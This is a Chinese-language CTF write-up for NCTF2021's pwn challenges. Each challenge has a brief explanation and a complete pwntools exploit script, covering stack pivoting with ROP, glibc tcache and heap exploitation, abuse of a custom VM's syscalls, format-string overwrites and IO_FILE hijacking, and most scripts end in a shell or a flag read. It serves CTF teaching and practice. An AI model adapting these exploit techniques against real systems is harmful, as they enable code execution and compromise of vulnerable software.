Single

NCTF2021 Writeup

感谢各位大师傅们捧场

题目被各位师傅们快打烂了

希望师傅们玩的开心

login

简单的栈迁移

控制rbp后调用main函数中的read向bss段上写入ROP

调用完毕后调用leave完成栈迁移

from pwn import*
#r=remote("129.211.173.64",10005)
r=process('./main')
context.log_level='debug'

libc=ELF("./libc-2.31.so")

main=0x40119a
csu1=0x40128A
csu2=0x401270
leave=0x40121f
gadget=0x4011ed
fake_stack=0x404090

r.recvline()

r.send('\x00'*0x100+p64(fake_stack+0x100)+p64(gadget))

payload=''
payload+=p64(csu1)
payload+=p64(0)+p64(1)
payload+=p64(0)
payload+=p64(close_got)
payload+=p64(0x1)
payload+=p64(read_got)
payload+=p64(csu2)
payload+=p64(0)

payload+=p64(0)+p64(1)
payload+=p64(0)
payload+=p64(fake_stack)
payload+=p64(0x3B)
payload+=p64(read_got)
payload+=p64(csu2)
payload+=p64(0)

payload+=p64(0)+p64(1)
payload+=p64(fake_stack)
payload+=p64(0)
payload+=p64(0)
payload+=p64(close_got)
payload+=p64(csu2)

r.send(payload.ljust(0x100,'\x00')+p64(fake_stack-0x8)+p64(leave))

r.send('\x85')

r.send('/bin/sh'.ljust(0x3B,'\x00'))

r.interactive()

ezheap

libc-2.33下的uaf

构造出chunk1->chunk2->0的tcache链并泄露

此时异或fd1和fd2即可泄露堆地址

之后就是常规tcache任意地址写以达成泄露以及控制程序流

(显然chunk大小控制部分出现了一些小问题,导致可以直接申请出大小超过0x80的chunk,直接泄露libc地址)

from pwn import*
#r=remote("129.211.173.64",10002)
r=process('./main')
context.log_level='debug'

libc=ELF("./libc-2.33.so")

def new(size,content):
	r.recvuntil('>> ')
	r.sendline('1')
	r.recvuntil('Size: ')
	r.sendline(str(size))
	r.recvuntil('Content: ')
	r.send(content)

def edit(idx,content):
	r.recvuntil('>> ')
	r.sendline('2')
	r.recvuntil('Index: ')
	r.sendline(str(idx))
	r.recvuntil('Content: ')
	r.send(content)

def delete(idx):
	r.recvuntil('>> ')
	r.sendline('3')
	r.recvuntil('Index: ')
	r.sendline(str(idx))

def show(idx):
	r.recvuntil('>> ')
	r.sendline('4')
	r.recvuntil('Index: ')
	r.sendline(str(idx))

def xor_ptr(ptr1,ptr2):
	result=((ptr1>>12)^(ptr2))
	return result

new(0x18,'\n')
new(0x18,'\n')

delete(0)
delete(1)

show(0)
fd1=u64(r.recv(8))
show(1)
fd2=u64(r.recv(8))

heap=(fd1^fd2)-0x2a0
success("heap: "+hex(heap))

new(0x18,'\n')
new(0x18,'\n')

delete(1)
delete(0)

edit(3,p64(xor_ptr(heap+0x2a0,heap+0x90))+'\n')

new(0x18,'\n')
new(0x18,p64(0))

def write(addr,content):
	edit(3,p64(0)*0x2+'\n')
	delete(0)
	edit(5,p64(addr)+'\n')
	new(0x18,content)

write(heap+0x2b0,p64(0)+p64(0x421))
write(heap+0x6d0,p64(0)+p64(0x21))
write(heap+0x6f0,p64(0)+p64(0x21))

delete(1)
show(1)
libc_base=u64(r.recv(8))-libc.sym['__malloc_hook']-0x70
success("libc_base: "+hex(libc_base))

free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']

write(free_hook,p64(system))
edit(3,'/bin/sh\x00\n')
delete(3)

#gdb.attach(r)

r.interactive()

vmstack

mmap出了一段地址作为stack

四个uint64_t的变量作为寄存器,实现了部分x86_64指令如pop, push ,mov

主要考点为syscall调用以获取可读写内存段地址

register: r0, r1, r2, r3, r4

command_list:
'\x00' + p64(const) : push const
'\x01' : push r0
'\x02' : push r1
'\x03' : push r2
'\x04' : push r3
'\x05' : push r4
'\x06' : pop r1
'\x07' : pop r2
'\x08' : pop r3
'\x09' : pop r4
'\x0A' + p64(const) : add qword [rsp], const
'\x0B' + p64(const) : sub qword [rsp], const
'\x0C' : syscall function

asm(
	"mov %0,%%rax;"
	"mov %1,%%rdi;"
	"mov %2,%%rsi;"
	"mov %3,%%rdx;"
	"syscall;"
	"mov %%rax,%4;"
	:"=m"(r1),"=m"(r2),"=m"(r3),"=m"(r4),"=m"(r0)
);

调用brk(0x10000)返回heap_addr+0x10000获得可读写的段地址

之后构造常规orw读取flag

from pwn import*
r=remote("129.211.173.64",10001)
#r=process('./main')
context.log_level='debug'

opcode=''
opcode+="\x00"+p64(0xC)
opcode+="\x06"
opcode+="\x00"+p64(0x10000)
opcode+="\x07"
opcode+="\x0C"

opcode+="\x01"
opcode+="\x0B"+p64(0x20000)
opcode+="\x08"
opcode+="\x00"+p64(0)
opcode+="\x06"
opcode+="\x00"+p64(0)
opcode+="\x07"
opcode+="\x00"+p64(0x30)
opcode+="\x09"
opcode+="\x0C"

opcode+="\x04"
opcode+="\x07"
opcode+="\x00"+p64(2)
opcode+="\x06"
opcode+="\x00"+p64(0)
opcode+="\x08"
opcode+="\x00"+p64(0)
opcode+="\x09"
opcode+="\x0C"

opcode+="\x03"
opcode+="\x08"
opcode+="\x00"+p64(0)
opcode+="\x06"
opcode+="\x00"+p64(4)
opcode+="\x07"
opcode+="\x00"+p64(0x50)
opcode+="\x09"
opcode+="\x0C"

opcode+="\x00"+p64(1)
opcode+="\x06"
opcode+="\x00"+p64(1)
opcode+="\x07"
opcode+="\x0C"

r.recvline()
r.send(opcode)

r.recvline()
r.send("flag")

r.interactive()

mmmmmmmap

注意到malloc.c中关于free mmaped_chunk的一部分代码 该部分代码从2.23到2.34几乎没有发生变化

uintptr_t mem = (uintptr_t) chunk2rawmem (p);
uintptr_t block = (uintptr_t) p - prev_size (p);
size_t total_size = prev_size (p) + size;

if (__glibc_unlikely ((block | total_size) & (pagesize - 1)) != 0  // chunk地址4K页对齐检查
    || __glibc_unlikely (!powerof2 (mem & (pagesize - 1))))        // chunk地址8字节对齐检查
malloc_printerr ("munmap_chunk(): invalid pointer");

atomic_decrement (&mp_.n_mmaps);
atomic_add (&mp_.mmapped_mem, -total_size);
__munmap ((char *) block, total_size);

// https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c#L2985

进入函数是通过查看chunk的flag位的IS_MAPPED标志,该标志可以通过伪造修改

而munmap调用的total_size又和前一个chunk的pre_size有关

因此通过伪造前一个chunk的pre_size以及该chunk的flag位可以实现非mmap内存段的回收

而该chunk所在的内存段可以为任意可读写内存段,因此可以实现回收后重新mmap内存以达到内存页的伪造

由于mmap(NULL,……)的随机分配机制,通过该方法伪造一个在libc上的chunk效果相对更好

本题回收常规堆内存段导致quit时write函数返回错误即可触发后门执行

from pwn import*
#r=remote("129.211.173.64",10004)
r=process('./main')
context.log_level='debug'

libc=ELF("./libc-2.31.so")

def new(size,content):
	r.recvuntil(': ')
	r.sendline('1')
	r.recvuntil('Size: ')
	r.sendline(str(size))
	r.recvuntil('Content: ')
	r.send(content)

def edit(idx,content):
	r.recvuntil(': ')
	r.sendline('2')
	r.recvuntil('Index: ')
	r.sendline(str(idx))
	r.recvuntil('Content: ')
	r.send(content)

def delete(idx):
	r.recvuntil(': ')
	r.sendline('3')
	r.recvuntil('Index: ')
	r.sendline(str(idx))

def show(idx):
	r.recvuntil(': ')
	r.sendline('4')
	r.recvuntil('Index: ')
	r.sendline(str(idx))

def fmt(content):
	r.recvuntil("INPUT:\n")
	r.send(content+'\x00')

r.recvline()
r.sendline(str(0x3))

new(0xd18,'\n')
new(0x18,'\n')
new(0xFF8,'\n')
edit(1,'a'*0x10+p64(0x0303030303032303))
delete(2)

r.recvuntil(': ')
r.sendline('4')

fmt("%6$p\n%11$p\n%41$p\n")
stack=int(r.recvline(),16)-0x20
libc_base=int(r.recvline(),16)-libc.sym['__libc_start_main']-0xF3
target=int(r.recvline(),16)&0xFFFFFFFFFFFFFF00
success("stack: "+hex(stack))
success("libc_base: "+hex(libc_base))
success("target: "+hex(target))

offset=(target-stack)>>0x3
success("offset: "+hex(offset))

one_gadget=libc_base+0xe6c7e
_rtld_global=libc_base+0x222060
rtld_lock_default_lock_recursive=_rtld_global+0xF08

for i in range(6):
	if (i==0): fmt("%13$hhn")
	else: fmt("%"+str(i)+"c%13$hhn")
	fmt("%"+str((rtld_lock_default_lock_recursive&(0xFF<<(i<<3)))>>(i<<3))+"c%41$hhn")

fmt("%13$hhn")

for i in range(6):
	fmt("%"+str((rtld_lock_default_lock_recursive&0xFF)+i)+"c%41$hhn")
	fmt("%"+str((one_gadget&(0xFF<<(i<<3)))>>(i<<3))+"c%"+str(offset+0x6)+"$hhn")

#gdb.attach(r,"b printf")

fmt("exit\n")
r.recvline()

r.interactive()

house_of_fmyyass

from pwn import*
#r=remote("129.211.173.64",10003)
r=process('./main')
context.log_level='debug'

libc=ELF("./libc-2.33.so")

def new(size):
	r.recvuntil(">> ")
	r.sendline("1")
	r.recvuntil(": ")
	r.sendline(str(size))

def edit(offset,content):
	r.recvuntil(">> ")
	r.sendline("2")
	r.recvuntil(": ")
	r.sendline(str(len(content)))
	r.recvuntil(": ")
	r.sendline(str(offset))
	r.recvuntil(": ")
	r.send(content)

def delete(idx):
	r.recvuntil(">> ")
	r.sendline("3")
	r.recvuntil(": \x00")
	r.sendline(str(idx))

def show():
	r.recvuntil(">> ")
	r.sendline("4")

def ror(num,shift):
	for i in range(shift):
		num=(num>>0x1)+(num&0x1)*0xFFFFFFFFFFFFFFFF
	return num

def rol(num,shift):
	for i in range(shift):
		num=(num<<0x1)&0xFFFFFFFFFFFFFFFF+(num&0x8000000000000000)
	return num

new(0x18)

edit(0x8,p64(0x431))
edit(0x438,p64(0x21))
edit(0x458,p64(0x421))
edit(0x878,p64(0x21))
edit(0x898,p64(0x21))

delete(0x10)

new(0x428)
delete(0x10)

edit(0x10,'\x10')
show()

libc_base=u64(r.recvuntil('\x7f')[-6:]+p16(0))-libc.sym['__malloc_hook']-0x80
success("libc_base: "+hex(libc_base))

environ=libc_base+libc.sym['environ']
exit=libc_base+libc.sym['exit']
system=libc_base+libc.sym['system']
_IO_cleanup=libc_base+0x8ef80
IO_list_all=libc_base+libc.sym['_IO_list_all']
tls=libc_base-0x2890
bin_sh=libc_base+0x1abf05
_IO_cookie_jumps=libc_base+0x1e1a20
top_chunk=libc_base+libc.sym['__malloc_hook']+0x70
__printf_arginfo_table=libc_base+0x1eb218
__printf_function_table=libc_base+0x1e35c8

edit(0x10,'\x00')
delete(0x460)

edit(0x10,'a'*0x8)
show()
r.recvuntil('a'*0x8)
heap=u64(r.recvuntil("1. alloc",drop=True).ljust(0x8,'\x00'))-0x450
success("heap: "+hex(heap))

edit(0x10,p64(top_chunk))
new(0x418)

edit(0x28,p64(IO_list_all-0x20))
delete(0x460)
new(0x1000)

fake_IO_struct=''
fake_IO_struct+=p64(0xfbad1800)
fake_IO_struct+=p64(0)*0x4
fake_IO_struct+=p64(1)
fake_IO_struct+=p64(0)*0x15
fake_IO_struct+=p64(_IO_cookie_jumps+0x70-0x18)
fake_IO_struct+=p64(bin_sh)
fake_IO_struct+=p64(rol(system^(heap+0xDA0),0x11))

edit(0x898,p64(0x471))
edit(0xD08,p64(0x21))
edit(0xD28,p64(0x461))
edit(0x1188,p64(0x21))
edit(0x11A8,p64(0x21))
delete(0x8A0)
new(0x1000)
edit(0x8B8,p64(__printf_arginfo_table-0x20))
delete(0xD30)
new(0x1000)


edit(0x898,p64(0x4B1))
edit(0xD48,p64(0x21))
edit(0xD68,p64(0x4A1))
edit(0x1208,p64(0x21))
edit(0x1228,p64(0x21))
delete(0x8A0)
new(0x1000)
edit(0x8B8,p64(__printf_function_table-0x20))
delete(0xD70)
new(0x1000)

edit(0x10F8,p64(_IO_cleanup))

edit(0x898,p64(0x4F1))
edit(0xD88,p64(0x21))
edit(0xDA8,p64(0x4E1))
edit(0x1288,p64(0x21))
edit(0x12A8,p64(0x21))
delete(0x8A0)
new(0x1000)
edit(0x8B8,p64(tls-0x20))
delete(0xDB0)
new(0x1000)

edit(0x898,p64(0x531))
edit(0xDC8,p64(0x21))
edit(0xDE8,p64(0x521))
edit(0x1308,p64(0x21))
edit(0x1328,p64(0x21))
delete(0x8A0)
new(0x1000)
edit(0x8B8,p64(top_chunk-0x20))
delete(0xDF0)
edit(0x450,fake_IO_struct)

#gdb.attach(r,'b _IO_flush_all_lockp')
new(0x1000)

r.interactive()

暂无评论

发表评论